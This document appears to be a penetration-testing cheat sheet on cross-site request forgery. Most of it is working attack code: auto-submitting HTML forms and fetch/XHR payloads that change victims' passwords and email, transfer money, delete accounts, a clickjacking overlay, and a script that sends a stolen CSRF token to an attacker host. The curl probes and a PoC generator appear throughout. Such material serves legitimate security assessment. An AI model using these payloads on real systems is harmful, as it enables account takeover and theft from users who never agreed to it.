Cross-Site Request Forgery (CSRF) penetration testing guide covering token analysis, request forgery testing, and CSRF exploitation techniques. Learn how to identify vulnerable endpoints, create PoC attacks, and test CSRF protection mechanisms for web security assessments.
Cross-Site Request Forgery (CSRF/XSRF) occurs when a web application accepts state-changing requests without verifying that the request originated from an authenticated user’s session, allowing attackers to trick users into performing unintended actions on their behalf.
Common vulnerable endpoints:
POST /change-passwordPOST /update-emailPOST /update-profilePOST /delete-accountPOST /transferPOST /admin/actionManual identification:
Intercept requests with Burp Suite Look for state-changing operations that:
HTTP methods to test:
# GET requests for state changes (vulnerable)
curl "http://$RHOST/delete?id=123" -H "Cookie: session=abc123"
# POST requests without CSRF protection
curl -X POST "http://$RHOST/change-password" -H "Cookie: session=abc123" -d "newpass=test123"
Check for CSRF tokens:
# GET form
curl "http://$RHOST/change-password" | grep -i "csrf\|token"
# POST request analysis
curl -X POST "http://$RHOST/change-password" -d "oldpass=test&newpass=test123" -v
What to look for in responses:
CSRF token presence - Check for:
<input type="hidden" name="csrf_token" value="..."><meta name="csrf-token" content="...">X-CSRF-Token, X-CSRFTokencsrf_token, csrftokenToken absence - If no token found:
Next steps if no token found:
Identify authentication mechanism:
# Cookie-based (vulnerable to CSRF)
curl "http://$RHOST/admin" -H "Cookie: session=abc123" -v
# Token-based (may be vulnerable)
curl "http://$RHOST/admin" -H "Authorization: Bearer token123" -v
Check Referer validation:
# Test without Referer header
curl -X POST "http://$RHOST/change-password" -H "Cookie: session=abc123" -d "newpass=test" -v
# Test with different Referer
curl -X POST "http://$RHOST/change-password" -H "Cookie: session=abc123" -H "Referer: http://attacker.com" -d "newpass=test" -v
Token location identification:
# In form fields
curl "http://$RHOST/form" | grep -i "csrf\|token"
# In meta tags
curl "http://$RHOST/page" | grep -i "meta.*csrf\|meta.*token"
# In cookies
curl "http://$RHOST/page" -v 2>&1 | grep -i "set-cookie.*csrf\|set-cookie.*token"
# In custom headers
curl "http://$RHOST/page" -v 2>&1 | grep -i "x-csrf\|x-token"
Token extraction:
# Extract from form
curl "http://$RHOST/form" | grep -oP 'name="csrf_token" value="\K[^"]+'
# Extract from meta tag
curl "http://$RHOST/page" | grep -oP 'content="\K[^"]+' | head -1
Token validation analysis:
# Test if token is required
curl -X POST "http://$RHOST/change-password" -d "newpass=test123" -v
# Test with invalid token
curl -X POST "http://$RHOST/change-password" -d "csrf_token=invalid&newpass=test123" -v
# Test with missing token
curl -X POST "http://$RHOST/change-password" -d "newpass=test123" -v
What to look for in responses:
Without token - Check HTTP status:
With invalid token - Compare responses:
Error messages - Look for:
Next steps based on token validation:
Parameter identification:
# Intercept request with Burp Suite
# Save to file for analysis
cat request.txt
Content-Type analysis:
# Form data
curl -X POST "http://$RHOST/action" -H "Content-Type: application/x-www-form-urlencoded" -d "param=value"
# JSON
curl -X POST "http://$RHOST/action" -H "Content-Type: application/json" -d '{"param":"value"}'
# XML
curl -X POST "http://$RHOST/action" -H "Content-Type: application/xml" -d '<root><param>value</param></root>'
Test if GET is used for state changes:
<!-- Simple GET CSRF -->
<img src="http://$RHOST/delete?id=123" />
<!-- Hidden form GET -->
<form action="http://$RHOST/delete" method="GET">
<input type="hidden" name="id" value="123">
</form>
<script>document.forms[0].submit();</script>
Browser-based test:
# Create HTML file
cat > csrf_get.html << EOF
<img src="http://$RHOST/delete?id=123" />
EOF
# Serve and test
python3 -m http.server 8000
# Visit in browser while authenticated
What to look for during test:
Browser behavior - Check:
Cross-origin request - Verify:
Next steps if CSRF successful:
Simple POST CSRF:
<form action="http://$RHOST/change-password" method="POST" id="csrf">
<input type="hidden" name="newpass" value="hacked123">
</form>
<script>document.getElementById('csrf').submit();</script>
What to look for in browser:
Form submission - Check Network tab:
Application state - Verify action occurred:
Next steps if POST CSRF successful:
Auto-submit form:
<form action="http://$RHOST/change-password" method="POST">
<input type="hidden" name="newpass" value="hacked123">
</form>
<script>document.forms[0].submit();</script>
Advantage: Executes immediately when page loads (no user interaction)
JSON POST CSRF:
<form action="http://$RHOST/api/transfer" method="POST" enctype="text/plain">
<input name='{"to":"attacker","amount":1000}' value=''>
</form>
<script>document.forms[0].submit();</script>
Token not validated:
<!-- Submit without token -->
<form action="http://$RHOST/change-password" method="POST">
<input type="hidden" name="newpass" value="hacked123">
</form>
<script>document.forms[0].submit();</script>
Token in same-origin:
<!-- Extract token from same origin -->
<script>
fetch('http://$RHOST/form')
.then(r => r.text())
.then(html => {
var token = html.match(/name="csrf_token" value="([^"]+)"/)[1];
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://$RHOST/change-password';
form.innerHTML = '<input name="csrf_token" value="' + token + '"><input name="newpass" value="hacked123">';
document.body.appendChild(form);
form.submit();
});
</script>
Token validation bypass:
<!-- Test if token validation is case-sensitive -->
<!-- Test if token can be empty -->
<!-- Test if token can be reused -->
Check SameSite attribute:
curl "http://$RHOST/login" -v 2>&1 | grep -i "set-cookie.*samesite"
Test cross-site request:
<!-- If SameSite=None not set, cookies won't be sent cross-site -->
<form action="http://$RHOST/change-password" method="POST" id="csrf">
<input type="hidden" name="newpass" value="hacked123">
</form>
<script>document.getElementById('csrf').submit();</script>
HTML PoC:
<html>
<body>
<h1>Click to win a prize!</h1>
<form action="http://$RHOST/change-password" method="POST" id="csrf">
<input type="hidden" name="newpass" value="hacked123">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Save and test:
cat > csrf_poc.html << 'EOF'
<form action="http://TARGET/change-password" method="POST">
<input type="hidden" name="newpass" value="hacked123">
</form>
<script>document.forms[0].submit();</script>
EOF
XHR-based CSRF (for JSON):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://$RHOST/api/transfer');
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true; // Send cookies
xhr.send('{"to":"attacker","amount":1000}');
</script>
Fetch API CSRF:
<script>
fetch('http://$RHOST/api/transfer', {
method: 'POST',
credentials: 'include', // Send cookies
headers: {'Content-Type': 'application/json'},
body: '{"to":"attacker","amount":1000}'
});
</script>
Multi-step CSRF:
<script>
// Step 1: Get CSRF token
fetch('http://$RHOST/form')
.then(r => r.text())
.then(html => {
var token = html.match(/csrf_token" value="([^"]+)"/)[1];
// Step 2: Submit form with token
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://$RHOST/change-password';
form.innerHTML = '<input name="csrf_token" value="' + token + '"><input name="newpass" value="hacked123">';
document.body.appendChild(form);
form.submit();
});
</script>
Clickjacking + CSRF:
<!-- Overlay transparent iframe -->
<iframe src="http://$RHOST/change-password" style="opacity:0;position:absolute;width:100%;height:100%"></iframe>
<button style="position:relative;z-index:1">Click for prize!</button>
XSS + CSRF combo:
<!-- If XSS exists, extract CSRF token -->
<script>
var token = document.querySelector('input[name="csrf_token"]').value;
fetch('http://attacker.com/token?csrf=' + token);
</script>
Same-origin extraction:
<script>
fetch('http://$RHOST/form')
.then(r => r.text())
.then(html => {
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
var token = doc.querySelector('input[name="csrf_token"]').value;
// Use token in CSRF request
});
</script>
Generate PoC:
Manual PoC creation:
<!-- Copy request parameters to form -->
<form action="http://$RHOST/endpoint" method="POST">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
</form>
<script>document.forms[0].submit();</script>
Manual testing script:
cat > csrf_test.sh << 'EOF'
#!/bin/bash
RHOST="target.com"
ENDPOINT="/change-password"
# Test GET CSRF
curl "http://$RHOST$ENDPOINT?id=123" -H "Cookie: session=test" -v
# Test POST CSRF
curl -X POST "http://$RHOST$ENDPOINT" -H "Cookie: session=test" -d "newpass=test123" -v
EOF
chmod +x csrf_test.sh
CSRF testing:
# Run ZAP scan
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://$RHOST
# Check for CSRF issues
zap-cli alerts -l Medium
Python script:
#!/usr/bin/env python3
import sys
def generate_csrf_poc(url, method, params):
html = f'<form action="{url}" method="{method}" id="csrf">'
for key, value in params.items():
html += f'\n <input type="hidden" name="{key}" value="{value}">'
html += '\n</form>'
html += '\n<script>document.getElementById("csrf").submit();</script>'
return html
# Usage
print(generate_csrf_poc("http://target/endpoint", "POST", {"param": "value"}))
Token present but not validated:
<!-- Submit with empty/invalid token -->
<form action="http://$RHOST/change-password" method="POST">
<input type="hidden" name="csrf_token" value="">
<input type="hidden" name="newpass" value="hacked123">
</form>
<script>document.forms[0].submit();</script>
Token reused:
# Test if token can be reused multiple times
curl -X POST "http://$RHOST/change-password" -d "csrf_token=abc123&newpass=test1"
curl -X POST "http://$RHOST/change-password" -d "csrf_token=abc123&newpass=test2"
Token predictable:
# Test if token is predictable (timestamp, user ID, etc.)
curl "http://$RHOST/form" | grep csrf_token
# Compare multiple tokens for patterns
Missing Referer:
curl -X POST "http://$RHOST/change-password" -H "Cookie: session=test" -d "newpass=test" -v
# Check if request succeeds without Referer
Different Referer:
curl -X POST "http://$RHOST/change-password" -H "Cookie: session=test" -H "Referer: http://attacker.com" -d "newpass=test" -v
# Check if request is blocked
Referer bypass (port/domain variation):
# Test if Referer check is strict
curl -X POST "http://$RHOST/change-password" -H "Referer: http://$RHOST:8080" -d "newpass=test" -v
curl -X POST "http://$RHOST/change-password" -H "Referer: https://$RHOST" -d "newpass=test" -v
Check SameSite attribute:
curl "http://$RHOST/login" -v 2>&1 | grep -i "samesite"
SameSite=None test:
SameSite=None are sent cross-siteSecure flag in HTTPS contextSameSite=None cookiesSameSite=Strict/Lax test:
SameSite=Strict: Cookies not sent cross-siteSameSite=Lax: Cookies sent for top-level navigations (GET)<form action="http://$RHOST/change-password" method="POST">
<input type="hidden" name="newpass" value="attacker123">
</form>
<script>document.forms[0].submit();</script>
<form action="http://$RHOST/update-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit();</script>
<form action="http://$RHOST/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>
<form action="http://$RHOST/delete-account" method="POST">
<input type="hidden" name="confirm" value="true">
</form>
<script>document.forms[0].submit();</script>